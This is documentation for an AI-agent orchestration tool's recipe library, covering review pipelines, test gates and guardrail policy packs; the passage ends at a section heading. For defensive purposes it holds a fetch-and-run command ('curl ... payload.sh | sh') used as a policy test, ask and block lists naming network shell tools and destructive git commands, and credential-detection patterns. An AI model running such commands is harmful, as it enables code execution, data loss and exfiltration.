The recipe library
A recipe is a directory in the same shape as a repository's .docket/: an optional pod.yaml
(kind: pod, name, description, members, settings), optional roles/, pipeline.yaml,
policies/, plugins/, skills/ and mcp-servers/. What a recipe brings is derived from what the directory
holds, never declared; docket recipes list prints the same derivation. Apply one with:
docket init --recipe <name> # a new pod for the current repository
docket pod <project> apply <name> # onto a pod that already exists (--dry-run to plan)
docket recipes show <name> # description, what it brings, its README
A directory of your own under ~/.docket/recipes/<name>/ is addressable the same way and wins
over a shipped recipe of the same name. Composition: apply as many recipes as you need, then
docket pod <project> export writes the merged team to .docket/, the configuration of record.
| Recipe | Brings | Description |
|---|---|---|
anti-tautology |
pipeline anti-tautology |
Fails a task whose new or changed tests already pass on the code from before the task. |
code-intel |
2 MCP servers | Structural search (ast-grep) and read-only language intelligence (pyright) as pod-scoped MCP servers. |
cross-family-review |
1 member, pipeline cross-family-review |
Cross-provider review as a pipeline: the Implementer builds on Anthropic and the Reviewer judges on OpenAI. Needs both providers' credentials (ANTHROPIC_API_KEY and OPENAI_API_KEY). |
dual-review |
2 members, pipeline dual-review |
Independent double review as a pipeline: a Reviewer and a Critic evaluate the same change concurrently, and both must pass. |
frugal |
1 member, 3 settings, pipeline frugal |
A spend cap and cheap-tier planning/review as a pipeline: an ordinary build stays inexpensive by policy, not by hoping. |
git-safety |
2 policies | Block unattended-unsafe git commands and ask before a push that touches a protected branch. |
intake |
1 member, pipeline intake |
The Lead reasons about a task before any code changes: a typed brief, a deterministic resource check, and an operator question when something only a human can answer. |
mutation |
pipeline mutation |
Fails a task whose changed source files are not well covered by their tests, measured by mutation testing with mutmut (must be installed). |
no-egress |
3 policies | Ask before a bash-run network client, package install, or fetch call leaves the workspace. |
ops-approval |
1 policy, 1 member, pipeline ops-approval |
An Operator whose action needs an explicit human sign-off before it runs at all, plus a policy that asks on deploy-shaped commands. |
prod-approval |
1 policy | Ask before an implementer or operator runs a deploy/production-shaped command. |
reflexion |
2 members, pipeline reflexion |
Bounded self-critique as a pipeline: the Implementer's own change is critiqued and reworked before the Tester has the final word. |
research-review |
4 members, pipeline research-review |
Lead, Researcher, Analyst, Writer and Critic as a pipeline, gated on the Critic's APPROVE/REJECT with one rework cycle back to the Writer. |
secrets-guard |
3 policies | Block writes to credential-shaped paths and credential-shaped text, and redact the same shapes from output. |
secure-build |
1 role, 1 policy, 1 member, 1 skill, pipeline secure-build |
A read-only security vetter gates the Implementer's change behind an explicit APPROVE, with one bounded rework cycle. |
spec-first |
3 members, 1 skill, pipeline spec-first |
Specification-first development as a pipeline: nothing is implemented until a written spec clears an explicit approval gate. |
spec-writer |
pipeline spec-writer |
Tests from the brief as a two-step pipeline on two different models: one writes failing tests, the other makes them pass. Needs both providers' credentials (ANTHROPIC_API_KEY and OPENAI_API_KEY). |
tdd |
1 member, 1 skill, pipeline tdd |
Test-driven development as a pipeline: a failing test is written and mechanically confirmed to fail before any implementation exists. |
anti-tautology
Fails a task whose new or changed tests already pass on the code from before the task.
Brings: pipeline anti-tautology. Summary line: roles 0 · policies 0 · members 0 · pipeline anti-tautology · plugins 0 · skills 0 · settings 0
docket init --recipe anti-tautology
docket pod <project> apply anti-tautology
Practice: a test is only evidence if it can fail. A test that already passes on the code from before the task does not test the task.
What docket's gates make structural: after the Implementer's verify gate, check-tests-fail-on-base
is a run command step. It reads DOCKET_BASE_COMMIT and DOCKET_HEAD_COMMIT (set for command
steps), lists test files added or modified between them, creates a disposable detached worktree
at the base commit, copies those files in as committed at the head, and runs them there. If they
pass (or collect no tests) on the base, the step fails and so does the task. If they fail on the
base, the step passes. If no test file changed, it passes with a message. The worktree is always
removed afterwards. Any failure on the base counts, including an import error for code the task
adds.
Apply it
docket init --recipe anti-tautology # a new pod
docket pod <project> apply anti-tautology # onto an existing pod
Commands the step runs
The step's command is a single python3 -c '...'. docket classifies only that line: python3 is
on the curated allowlist and the script avoids ${, $(, backticks, eval and exec, so the
verdict is allow and no allowCommands entry is needed. The script itself then runs, as
subprocesses that the classifier never sees: git diff --name-only --diff-filter=AM,
git worktree add --detach, git show <head>:<file>, git worktree remove --force, and the test
runner (default python3 -m pytest -q <files>).
Customise
The step declares two overridable names under its own env:, set to the defaults below. A pod
overrides them by editing the step: docket pod <project> export <dir>, change the env: values in
<dir>/pipeline.yaml, then docket pod <project> apply <dir>.
ANTI_TAUTOLOGY_GLOB-- comma-separated file-name globs, defaulttest_*.py,*_test.pyANTI_TAUTOLOGY_RUNNER-- the runner command, defaultpython3 -m pytest -q
For anything else, edit the script in pipeline.yaml.
Limits
Only files are compared, not individual test functions: a changed file that mixes a new failing test with old passing ones passes the check only if the file as a whole fails on the base.
Undo
docket pod <project> config unset pipeline
code-intel
Structural search (ast-grep) and read-only language intelligence (pyright) as pod-scoped MCP servers.
Brings: 2 MCP servers. Summary line: roles 0 · policies 0 · members 0 · pipeline none · plugins 0 · skills 0 · settings 0 · mcp-servers ast-grep, language-intel · unjailed ast-grep
docket init --recipe code-intel
docket pod <project> apply code-intel
Two pod-scoped MCP servers that let an agent search code by syntax tree and ask a language
server about symbols. No roles, no pipeline, no members; docket pod <p> apply code-intel
installs the two server declarations for that pod only (the mcp-server items), and nothing
runs until a turn loads them. Applying never installs the binaries below.
| Server | Gives the agent | Declared | Needs on PATH |
|---|---|---|---|
ast-grep |
find_code, find_code_by_rule, dump_syntax_tree, test_match_code_rule |
access: read; the server exposes exactly these four search tools and no write or rewrite tool |
uvx and ast-grep; declared isolate: false, see below |
language-intel |
definition, references, diagnostics, hover |
access: read with tools: restricted to those four, because the same server also offers edit_file and rename_symbol, which are never registered |
mcp-language-server and pyright-langserver |
Verified on 2026-10-04
ast-grep: the ast-grep project's own server, https://github.com/ast-grep/ast-grep-mcp (README:uvx --from git+https://github.com/ast-grep/ast-grep-mcp ast-grep-server; itsmain.pyregisters exactly four@mcp.tool()functions, none writing). Theast-grepbinary it shells out to is npm@ast-grep/cli0.45.3 (npm viewchecked). The server is not on PyPI under that name, so it runs from the git URL; pin a commit there for reproducibility.language-intel: https://github.com/isaacphi/mcp-language-server (Go; install withgo install github.com/isaacphi/mcp-language-server@latest; tool names read from itstools.go:edit_file,definition,references,diagnostics,hover,rename_symbol). The language server it drives is npmpyright1.1.414, which ships thepyright-langserverbinary (npm view pyright binchecked).
Neither server was executed here; the checks are package metadata and source reads.
Isolation
A turn starts stdio servers in the same jail as bash. ast-grep declares isolate: false
because, measured 2026-10-05 through system.bwrap_command_argv with a warm cache, uvx fails
there with Could not acquire lock ... Read-only file system (os error 30) on its cache under
~/.cache/uv. Applying prints ast-grep: runs unjailed (isolate: false); the server starts on the
host with your user's rights. language-intel stays jailed (its binary was not installed on the
measuring host); if it cannot start in the jail, add isolate: false to its document.
Make it yours
language-intel is wired for Python. For another language change --lsp and its arguments
(the server's README lists gopls, rust-analyzer, typescript-language-server and clangd).
--workspace . resolves against the server process's working directory; set an absolute path if
the turn does not start in the codebase. Servers are stored pod-scoped in config/mcp-servers.json
and are selected like any other through the pod's mcpServers setting (global servers and this
pod's own).
cross-family-review
Cross-provider review as a pipeline: the Implementer builds on Anthropic and the Reviewer judges on OpenAI. Needs both providers' credentials (ANTHROPIC_API_KEY and OPENAI_API_KEY).
Brings: 1 member, pipeline cross-family-review. Summary line: roles 0 · policies 0 · members 1 · pipeline cross-family-review · plugins 0 · skills 0 · settings 0
docket init --recipe cross-family-review
docket pod <project> apply cross-family-review
Practice: a reviewer from another provider family.
Source idea: a reviewer from the same model family tends to share the implementer's blind spots. Here the Implementer runs on Anthropic and the Reviewer on OpenAI.
What docket's gates make structural: model: anthropic/claude-sonnet-4-6 on build and
model: openai/gpt-4.1-mini on review pin the two families, whatever the pod's default or any
docket models set pin.
The Reviewer's APPROVE/REQUEST-CHANGES verdict is a bounded rework edge: a REQUEST-CHANGES
sends the task back to the Implementer (limited to one cycle) before the task is done.
Apply it
For a new pod, or onto one that already has its lead and implementer:
docket init --recipe cross-family-review # a new pod for the current repository
docket pod <project> apply cross-family-review # onto an existing pod
Set both providers' credentials first: ANTHROPIC_API_KEY and OPENAI_API_KEY, as
environment variables or in secrets.json.
pod.yaml names the one member this recipe adds (reviewer); apply validates the roster
and pipeline before writing anything, and is safe to run again (a second run plans every item
skip). --dry-run prints the plan without writing.
Files
pod.yaml— whatapplyreads:kind: pod,name: cross-family-review,members: [reviewer],description.pipeline.yaml—build(Implementer,model: anthropic/claude-sonnet-4-6, gated on its own verify command) ->review(Reviewer,model: openai/gpt-4.1-mini, APPROVE/REQUEST-CHANGES verdict, rework -> build, maxCycles 1).
Undo
docket pod <project> config unset pipeline
docket pod <project> remove <project>-reviewer
dual-review
Independent double review as a pipeline: a Reviewer and a Critic evaluate the same change concurrently, and both must pass.
Brings: 2 members, pipeline dual-review. Summary line: roles 0 · policies 0 · members 2 · pipeline dual-review · plugins 0 · skills 0 · settings 0
docket init --recipe dual-review
docket pod <project> apply dual-review
Practice: dual (independent) review — two reviewers, no cross-talk.
Source idea: two independent reviewers catch more than one, and reviewing concurrently without seeing each other's verdict avoids one anchoring on the other — the same rationale behind requiring two approvals on a pull request.
What docket's gates make structural: reviews is a real parallel group — the Reviewer and
the Critic run as two independent, concurrently-dispatched agent turns, each gated on its own
role's own verdict contract (Reviewer's APPROVE/REQUEST-CHANGES, Critic's APPROVE/REJECT),
neither seeing the other's output before its own turn completes. The group's outcome is a
priority merge — any child failing fails the whole group — so a "quiet" reviewer cannot let a
change through on the other's approval alone.
Apply it
For a new pod, or onto one that already has its lead and implementer:
docket init --recipe dual-review # a new pod for the current repository
docket pod <project> apply dual-review # onto an existing pod
pod.yaml names the two members this recipe adds (reviewer, critic); apply validates the
roster and pipeline.yaml before writing anything, and is safe to run again (a second run plans
every item skip). --dry-run prints the plan without writing.
Files
pod.yaml— whatapplyreads:kind: pod,name: dual-review,members: [reviewer, critic].pipeline.yaml—build(Implementer, gated on its own verify command) ->reviews, aparallelgroup ofreview-code(Reviewer) andreview-risk(Critic), each falling back to its own role's default verdict gate since neither step declares one explicitly.
Undo
docket pod <project> config unset pipeline
docket pod <project> remove <project>-reviewer
docket pod <project> remove <project>-critic
frugal
A spend cap and cheap-tier planning/review as a pipeline: an ordinary build stays inexpensive by policy, not by hoping.
Brings: 1 member, 3 settings, pipeline frugal. Summary line: roles 0 · policies 0 · members 1 · pipeline frugal · plugins 0 · skills 0 · settings 3
docket init --recipe frugal
docket pod <project> apply frugal
Practice: cost-bounded dispatch — a spend cap plus cheap-tier planning and review.
Source idea: most planning and review turns don't need the strongest, most expensive model — reserve spend for the step that actually needs it (the Implementer) and cap the rest, the right-size-the-model-to-the-role practice model-routing setups use.
What docket's gates make structural: budgetUsd: 2 is enforced by dispatch's own budget
gate — a task that would exceed it pauses rather than silently overspending. maxReworkCycles: 1
bounds the Reviewer's own rework edge pod-wide. model: cheap on plan and review resolves
against the live rank anchors for that hop only; it is never persisted to the Lead's or
Reviewer's own pinned model, so removing this pipeline restores their ordinary resolution.
Apply it
For a new pod, or onto one that already has its lead and implementer:
docket init --recipe frugal # a new pod for the current repository
docket pod <project> apply frugal # onto an existing pod
pod.yaml names the one member this recipe adds (reviewer) and the three settings it writes
(budgetUsd, maxReworkCycles, turnTimeoutS); apply validates the roster, the settings and
pipeline.yaml before writing anything, and is safe to run again (a second run plans every item
skip). --dry-run prints the plan without writing.
Files
pod.yaml— whatapplyreads:kind: pod,name: frugal,members: [reviewer],settings: {budgetUsd: 2, maxReworkCycles: 1, turnTimeoutS: 600}.pipeline.yaml—plan(Lead,model: cheap) ->build(Implementer, gated on its own verify command) ->review(Reviewer,model: cheap, APPROVE/REQUEST-CHANGES verdict, rework -> build, maxCycles 1).
Undo
docket pod <project> config unset pipeline
docket pod <project> config unset budgetUsd
docket pod <project> config unset maxReworkCycles
docket pod <project> config unset turnTimeoutS
docket pod <project> remove <project>-reviewer
git-safety
Block unattended-unsafe git commands and ask before a push that touches a protected branch.
Brings: 2 policies. Summary line: roles 0 · policies 2 · members 0 · pipeline none · plugins 0 · skills 0 · settings 0
docket init --recipe git-safety
docket pod <project> apply git-safety
A policy pack: two guardrail policies, no roles, no pipeline, no members. Applying it to a pod
adds nothing to the roster and changes no dispatch step -- it only narrows what bash may do
inside that pod's own turns.
Threat model, in three sentences. An agent under time pressure (or one following an
adversarial instruction smuggled into its context) can lose real work with a single unattended
git command -- a force-push overwrites another operator's commits, git reset --hard/git clean
-f discard uncommitted work with no undo, and git branch -D/git checkout -- . destroy a
branch or working-tree edits outright. None of docket's exec allowlist or role denials stop
these: git itself is allowlisted (security-gates.spec.md), so the classifier never sees the
difference between git status and git push --force. This pack closes exactly that gap with
structured predicates over the call itself (tool: bash, matches, branch) rather than free
text, so it fires on the command regardless of which role or pipeline step issued it.
Apply it
docket init --recipe git-safety # a new pod for the current directory
docket pod <project> apply git-safety # onto an existing pod
apply validates both policy files and plans them (policy items only -- there is no
pod.yaml member to add), and is safe to run again (a second run plans every item skip).
--dry-run prints the plan without writing.
See it fire
docket pod <project> apply git-safety
docket policies test pre_tool_call implementer "git push --force origin main" --pod <project>
The result names git-safety-block-destructive and blocks. A plain git push origin main
(destination or current branch is protected) asks instead:
docket policies test pre_tool_call implementer "git push origin main" --pod <project>
Files
pod.yaml--kind: pod,name: git-safety,description; nomembers, since a policy pack changes no roster.policies/git-safety-block-destructive.yaml--tool: bash+matches; blocks force-push,reset --hard, forcedclean, forced branch delete, forced checkout, and a global config edit, for every role.policies/git-safety-ask-protected-branch-push.yaml--tool: bash+matches: git pushAND (a destination-name match OR the structuredbranchpredicate againstmain/master/production/prod); asks for every role.
Undo
rm ~/.docket/workspaces/pods/<project>/config/policies/git-safety-block-destructive.yaml
rm ~/.docket/workspaces/pods/<project>/config/policies/git-safety-ask-protected-branch-push.yaml
intake
The Lead reasons about a task before any code changes: a typed brief, a deterministic resource check, and an operator question when something only a human can answer.
Brings: 1 member, pipeline intake. Summary line: roles 0 · policies 0 · members 1 · pipeline intake · plugins 0 · skills 0 · settings 0
docket init --recipe intake
docket pod <project> apply intake
Practice: structured intake / requirements triage before implementation starts.
Source idea: an operator who assigns work and walks away benefits most when the Lead reasons about the task before handing it to the Implementer -- naming what "done" means, what it needs, and what it doesn't know yet -- rather than guessing silently or blocking on every risky action.
What docket's gates make structural: the Lead's first hop ends in exactly one marker.
READY only reaches the Implementer after _check_brief_resources confirms every
secret:/path:/verify resource the brief named is actually present -- a missing one
blocks the task (blockedReason: resources, AUTH_REQUIRED in the A2A view) instead of
letting the Implementer discover it mid-turn. NEEDS-INPUT turns the brief's own
questions into a real operator question (one property per question, not a single
free-text box) and returns to the Lead once they're answered. REJECT fails the task
immediately (failureKind: rejected, REJECTED in the A2A view) instead of consuming an
Implementer turn on a task the Lead has already decided not to attempt. The brief is
optional: a reply with no parseable brief but a READY marker still advances exactly as
before this recipe existed.
Apply it
For a new pod, or onto one that already has its lead and implementer:
docket init --recipe intake # a new pod for the current repository
docket pod <project> apply intake # onto an existing pod
pod.yaml names the one member this recipe adds beyond the lean pod (reviewer); apply
validates the roster and pipeline.yaml before writing anything, and is safe to run again
(a second run plans every item skip). --dry-run prints the plan without writing.
Files
pod.yaml-- whatapplyreads:kind: pod,name: intake,members: [reviewer].pipeline.yaml--lead(writes a typed brief,READY/NEEDS-INPUT/REJECT) ->ask(an operator-input step, only reached onNEEDS-INPUT, loops back toleadonce answered, capped) ->build(Implementer, gated on its own verify command) ->review(Reviewer, APPROVE/REQUEST-CHANGES verdict, rework -> build, maxCycles 1).
Undo
docket pod <project> config unset pipeline
docket pod <project> remove <project>-reviewer
mutation
Fails a task whose changed source files are not well covered by their tests, measured by mutation testing with mutmut (must be installed).
Brings: pipeline mutation. Summary line: roles 0 · policies 0 · members 0 · pipeline mutation · plugins 0 · skills 0 · settings 0
docket init --recipe mutation
docket pod <project> apply mutation
Practice: mutation testing -- a test suite is only as good as the share of deliberate bugs it catches.
Tool: mutmut 3.x, which must be installed where
docket runs (pip install mutmut). If it is not on PATH the step fails with that message; it
never silently passes.
What docket's gates make structural: after the Implementer's verify gate, check-mutation-score
is a run command step. It reads DOCKET_BASE_COMMIT and DOCKET_HEAD_COMMIT, lists the Python
source files added or modified between them (test files and __init__.py are excluded), runs
mutmut run <module>.* for those modules, reads mutants/mutmut-cicd-stats.json from
mutmut export-cicd-stats, and fails the task when killed / (killed + survived + timeout +
suspicious + no_tests + segfault) is below the threshold (80 percent by default). No changed source
file, or no mutants produced, passes with a message. The mutants/ directory is removed afterwards
unless it already existed.
Apply it
docket init --recipe mutation # a new pod
docket pod <project> apply mutation # onto an existing pod
Commands the step runs
The step's command is a single python3 -c '...'. docket classifies only that line: python3 is
on the curated allowlist, so the verdict is allow and no allowCommands entry is needed. The
script then runs, unclassified, as subprocesses: git diff --name-only --diff-filter=AM, then
mutmut run <modules> and mutmut export-cicd-stats.
Scope is by file, not by line
mutmut 3 cannot be restricted to changed lines, and has no path flag: it mutates by module name.
The step passes the changed files as module-name globs (src/pkg/calc.py becomes pkg.calc.*),
so every function in a changed file is mutated, not only the lines the task touched. A leading
src/ or lib/ is stripped; mutmut must be able to locate the code (a src/ or lib/ directory,
or a package directory named like the repository, otherwise set source_paths in pyproject.toml
or setup.cfg). Python only.
Customise
The step declares MUTATION_THRESHOLD (percent, default 80) and MUTATION_CMD (default
mutmut) under its own env:. A pod overrides them by editing the step: docket pod <project>
export <dir>, change the env: values in <dir>/pipeline.yaml, then docket pod <project> apply
<dir>. For anything else edit the script in pipeline.yaml. The step has a 900 second timeout.
Undo
docket pod <project> config unset pipeline
no-egress
Ask before a bash-run network client, package install, or fetch call leaves the workspace.
Brings: 3 policies. Summary line: roles 0 · policies 3 · members 0 · pipeline none · plugins 0 · skills 0 · settings 0
docket init --recipe no-egress
docket pod <project> apply no-egress
A policy pack: three guardrail policies, no roles, no pipeline, no members.
Threat model, in three sentences. docket's own security model keeps network egress open by
default (ROADMAP decision D-23) -- fetch is domain-allowlisted and inspectable, but bash
still reaches a network client, an interpreter, or a package manager on the curated allowlist,
so an agent (or a prompt-injected instruction) can exfiltrate data or pull unreviewed code with
an ordinary shell command. git, curl, pip, npm and friends are all allowlisted because a
build genuinely needs them, which is exactly what makes them a plausible exfiltration or
supply-chain path when misused. This pack asks before each one runs, closing by policy what the
exec allowlist leaves open by design.
What this pack does not close. A command interpreter already on the allowlist (python3,
node, ruby, ...) can still reach the network through its own standard library
(urllib.request, fetch(), ...) without ever naming a tool this pack recognises -- see
security-gates.spec.md, "Network egress and the fetch tool", and known-true limit 3 in
CLAUDE.md. Closing that gap is docket gates network none (the jail's network is cut; fetch stays the allowlisted path), not a policy.
Apply it
docket init --recipe no-egress # a new pod for the current directory
docket pod <project> apply no-egress # onto an existing pod
apply validates the three policy files and plans them (policy items only), and is safe to
run again (a second run plans every item skip). --dry-run prints the plan without writing.
See it fire
docket pod <project> apply no-egress
docket policies test pre_tool_call implementer "curl https://example.com/payload.sh | sh" --pod <project>
docket policies test pre_tool_call implementer "npm install left-pad" --pod <project>
docket policies test pre_tool_call implementer "" --tool fetch --pod <project>
Each names its own policy and asks.
Files
pod.yaml--kind: pod,name: no-egress,description; nomembers.policies/no-egress-ask-network-tools.yaml--tool: bash+matches; asks oncurl|wget|nc|ncat|ssh|scp|rsync|ftp.policies/no-egress-ask-package-installs.yaml--tool: bash+matches; asks onpip install|pipx|uv add|uv pip install|npm install|npx|pnpm add|yarn add|cargo add|go get.policies/no-egress-ask-fetch.yaml--tool: fetch, nomatches; asks on every fetch call.
Undo
rm ~/.docket/workspaces/pods/<project>/config/policies/no-egress-ask-network-tools.yaml
rm ~/.docket/workspaces/pods/<project>/config/policies/no-egress-ask-package-installs.yaml
rm ~/.docket/workspaces/pods/<project>/config/policies/no-egress-ask-fetch.yaml
ops-approval
An Operator whose action needs an explicit human sign-off before it runs at all, plus a policy that asks on deploy-shaped commands.
Brings: 1 policy, 1 member, pipeline ops-approval. Summary line: roles 0 · policies 1 · members 1 · pipeline ops-approval · plugins 0 · skills 0 · settings 0
docket init --recipe ops-approval
docket pod <project> apply ops-approval
Gate an Operator's action behind an explicit human sign-off: the approval gate stops the run
before the Operator's own turn, not after, so nothing runs unattended. operator is a
built-in starter archetype (docket roles list) — no role YAML to add.
This is narrower than the built-in ops pod blueprint (docket init --blueprint ops, which
also provisions a Monitor and requires choosing that blueprint at pod creation). Use this
recipe when you want the same human-in-the-loop discipline on a pod that already exists.
Apply it
For a new pod, or onto one that already exists:
docket init --recipe ops-approval # a new pod for the current directory
docket pod <project> apply ops-approval # onto an existing pod
pod.yaml names the one member this recipe adds (operator); apply validates the policy
pack, the resulting roster and pipeline.yaml before writing anything, and is safe to run again
(a second run plans every item skip). --dry-run prints the plan without writing. The bundled
policies/ops-approval-high-risk.yaml is applied along with everything else, so a
deploy/production-shaped operator command always asks a human too, independent of which
pipeline step it reached.
Answer the resulting approval with docket approve <token> / docket deny <token> (also
reachable over HTTP, MCP or Telegram /approve — every channel is audited). Unanswered
requests are denied after APPROVAL_TIMEOUT (900s).
Files
pod.yaml— whatapplyreads:kind: pod,name: ops-approval,members: [operator].pipeline.yaml—lead (assess) -> operator (act, approval gate).policies/ops-approval-high-risk.yaml— applied into the pod's own policy directory; gained a structuredtool: bashpredicate alongside itsmatches(Phase 31, D-47), so it only evaluates the regex against an actual shell command rather than everypre_tool_callhook's rendered text; still requires approval for deploy/production shaped commands from the operator role.
Undo
docket pod <project> config unset pipeline
rm ~/.docket/workspaces/pods/<project>/config/policies/ops-approval-high-risk.yaml
prod-approval
Ask before an implementer or operator runs a deploy/production-shaped command.
Brings: 1 policy. Summary line: roles 0 · policies 1 · members 0 · pipeline none · plugins 0 · skills 0 · settings 0
docket init --recipe prod-approval
docket pod <project> apply prod-approval
A policy pack: one guardrail policy, no roles, no pipeline, no members.
Threat model, in three sentences. ops-approval gates the Operator role, but a pod's
Implementer can run the exact same deploy commands through bash on the way to "done", and the
Implementer has no approval gate of its own in most pipelines. A production-shaped command --
kubectl apply, terraform apply, docker push, a git push to main -- is expensive to
undo and easy to run by habit under time pressure, from either role. This pack asks before
either role runs one, independent of whatever pipeline step reached it, closing the same gap
ops-approval closes but for the role that most often actually holds the shell.
Apply it
docket init --recipe prod-approval # a new pod for the current directory
docket pod <project> apply prod-approval # onto an existing pod
apply validates the policy file and plans it (a policy item only), and is safe to run again
(a second run plans it skip). --dry-run prints the plan without writing.
See it fire
docket pod <project> apply prod-approval
docket policies test pre_tool_call implementer "terraform apply" --pod <project>
docket policies test pre_tool_call operator "git push origin main" --pod <project>
Both name prod-approval-high-risk and ask.
Files
pod.yaml--kind: pod,name: prod-approval,description; nomembers.policies/prod-approval-high-risk.yaml--tool: bash+matches;appliesTo: [implementer, operator]; asks onkubectl apply|delete|replace|rollout,helm upgrade| install,terraform apply|destroy,docker push,npm publish,fly deploy,vercel --prod,heroku promote, or agit pushto a production-shaped branch.
Undo
rm ~/.docket/workspaces/pods/<project>/config/policies/prod-approval-high-risk.yaml
reflexion
Bounded self-critique as a pipeline: the Implementer's own change is critiqued and reworked before the Tester has the final word.
Brings: 2 members, pipeline reflexion. Summary line: roles 0 · policies 0 · members 2 · pipeline reflexion · plugins 0 · skills 0 · settings 0
docket init --recipe reflexion
docket pod <project> apply reflexion
Practice: Reflexion — bounded self-critique before verification.
Source idea: an agent's own output is critiqued and revised before it counts as final, bounded so the critique-and-revise loop cannot run forever (Shinn et al., "Reflexion: Language Agents with Verbal Reinforcement Learning").
What docket's gates make structural: critique's REQUEST-CHANGES verdict is a real rework
edge back to build, bounded to two cycles by maxCycles: 2 — not a suggestion an Implementer
can ignore, and not an unbounded loop either. The Tester's PASS/FAIL verdict runs only once the
Critic is satisfied, and is an independent gate from it.
Apply it
For a new pod, or onto one that already has its lead and implementer:
docket init --recipe reflexion # a new pod for the current repository
docket pod <project> apply reflexion # onto an existing pod
pod.yaml names the two members this recipe adds (critic, tester); apply validates the
roster and pipeline.yaml before writing anything, and is safe to run again (a second run plans
every item skip). --dry-run prints the plan without writing.
Files
pod.yaml— whatapplyreads:kind: pod,name: reflexion,members: [critic, tester].pipeline.yaml—build(Implementer, gated on its own verify command) ->critique(Critic, APPROVE/REQUEST-CHANGES verdict, rework -> build, maxCycles 2) ->test(Tester, PASS/FAIL verdict).
Undo
docket pod <project> config unset pipeline
docket pod <project> remove <project>-critic
docket pod <project> remove <project>-tester
research-review
Lead, Researcher, Analyst, Writer and Critic as a pipeline, gated on the Critic's APPROVE/REJECT with one rework cycle back to the Writer.
Brings: 4 members, pipeline research-review. Summary line: roles 0 · policies 0 · members 4 · pipeline research-review · plugins 0 · skills 0 · settings 0
docket init --recipe research-review
docket pod <project> apply research-review
Lead -> Researcher -> Analyst -> Writer -> Critic, gated on the Critic's APPROVE/REJECT
verdict with one bounded rework cycle back to the Writer. researcher, analyst, writer
and critic are all built-in starter archetypes (docket roles list) — no role YAML to add,
just roster and pipeline.
This is the same pipeline shape as the built-in research pod blueprint
(docket init --blueprint research). Use this recipe instead when you want the same
review discipline on a pod that already exists and was not created with that blueprint.
Apply it
For a new pod, or onto one that already exists:
docket init --recipe research-review # a new pod for the current directory
docket pod <project> apply research-review # onto an existing pod
pod.yaml names the four built-in-archetype members this recipe adds; apply validates the
resulting roster and pipeline.yaml before writing anything, and is safe to run again (a
second run plans every item skip). --dry-run prints the plan without writing.
Files
pod.yaml— whatapplyreads:members: [researcher, analyst, writer, critic].pipeline.yaml—lead -> researcher -> analyst -> writer -> critic (verdict gate, rework -> writer, maxCycles 1).
Undo
docket pod <project> config unset pipeline
secrets-guard
Block writes to credential-shaped paths and credential-shaped text, and redact the same shapes from output.
Brings: 3 policies. Summary line: roles 0 · policies 3 · members 0 · pipeline none · plugins 0 · skills 0 · settings 0
docket init --recipe secrets-guard
docket pod <project> apply secrets-guard
A policy pack: three guardrail policies, no roles, no pipeline, no members.
Threat model, in three sentences. An agent debugging a failing build, or one following an
instruction smuggled into its context, can read a real credential and either write it somewhere
it should never live (committing a .env or an SSH private key) or echo it into a hop's own
output, which the trace/audit log then holds in plain text. Path-shaped predicates catch the
first case regardless of the file's contents (an empty .env is just as sensitive a target as a
populated one), and text-shaped predicates catch the second regardless of which file or tool
carried the secret, because a credential can leak through a bash command's own arguments just
as easily as through write/edit. This pack narrows both, and redacts the same shapes from
output as a second, independent line of defense.
Apply it
docket init --recipe secrets-guard # a new pod for the current directory
docket pod <project> apply secrets-guard # onto an existing pod
apply validates all three policy files and plans them (policy items only), and is safe to
run again (a second run plans every item skip). --dry-run prints the plan without writing.
See it fire
docket pod <project> apply secrets-guard
docket policies test pre_tool_call implementer "" --tool write --arg path=config/.env --pod <project>
docket policies test pre_tool_call implementer "" --tool write --arg path=README.md --pod <project>
The first names secrets-guard-block-paths and blocks; the second (an ordinary path) allows.
Files
pod.yaml--kind: pod,name: secrets-guard,description; nomembers.policies/secrets-guard-block-paths.yaml-- ananyOfof{tool: write|edit, path: ...}pairs over**/.env*,**/*.pem,**/*.key,**/id_rsa*,**/*.p12; blocks.policies/secrets-guard-block-credential-text.yaml-- amatchesover the rendered call for a private-key header, an AWS access-key id shape, or ansk-prefixed bearer-token shape, no tool restriction; blocks.policies/secrets-guard-redact-output.yaml-- the same three text shapes,on: output; redacts rather than blocks, since output has already been produced and the goal is keeping it out of the trace/audit record, not stopping the hop.
Undo
rm ~/.docket/workspaces/pods/<project>/config/policies/secrets-guard-block-paths.yaml
rm ~/.docket/workspaces/pods/<project>/config/policies/secrets-guard-block-credential-text.yaml
rm ~/.docket/workspaces/pods/<project>/config/policies/secrets-guard-redact-output.yaml
secure-build
A read-only security vetter gates the Implementer's change behind an explicit APPROVE, with one bounded rework cycle.
Brings: 1 role, 1 policy, 1 member, 1 skill, pipeline secure-build. Summary line: roles 1 · policies 1 · members 1 · pipeline secure-build · plugins 0 · skills 1 · settings 0
docket init --recipe secure-build
docket pod <project> apply secure-build
Add a read-only Security Vetter to a codebase pod: the Implementer's change must get an
explicit APPROVE from the vetter before the task counts as done, with one bounded rework
cycle back to the Implementer on REQUEST-CHANGES.
Apply it
For a new pod, or onto one that already has its lead and implementer:
docket init --recipe secure-build # a new pod for the current repository
docket pod <project> apply secure-build # onto an existing pod
pod.yaml names the one member this recipe adds (security-vetter); apply validates the
role, the policy pack, the resulting roster, and pipeline.yaml before writing anything, and is
safe to run again (a second run plans every item skip). --dry-run prints the plan without
writing. The bundled policies/require-approval-secret-writes.yaml is applied along with
everything else, so a secret-shaped write always asks a human, independent of the vetter's own
verdict.
Files
pod.yaml— whatapplyreads:kind: pod,name: secure-build,members: [security-vetter].roles/security-vetter.yaml(+roles/security-vetter.md) — the custom role, short form:cannot: [write, edit, bash],verdict: [APPROVE, REQUEST-CHANGES].pipeline.yaml—lead -> implementer (mechanical gate, its own verifyCmd) -> security-vetter (verdict gate, rework -> implementer, maxCycles 1).skills/security-review/SKILL.md— an Agent Skill, applied whole into the pod's ownconfig/skills/security-review/; a concrete review checklist (injection points, secrets in the diff, unsafe deserialization, path traversal, dependency changes, auth checks) the vetter reads on demand by calling theskilltool withname: security-review.policies/require-approval-secret-writes.yaml— applied into the pod's own policy directory; rewritten on the structured predicatescore/policy.pyalready evaluates (Phase 31, D-47) -- ananyOfof{tool: write, path: '**/.env*'},{tool: edit, path: '**/.env*'}, and a private-key-headermatches-- so it fires on the call itself rather than the loose "write...env" text match it used to be, and so the Implementer's exec surface for secret-shaped writes still narrows regardless of the vetter's own review.
Undo
docket pod <project> config unset pipeline
docket pod <project> remove <project>-security-vetter
rm ~/.docket/workspaces/pods/<project>/config/policies/require-approval-secret-writes.yaml
rm -r ~/.docket/workspaces/pods/<project>/config/skills/security-review
spec-first
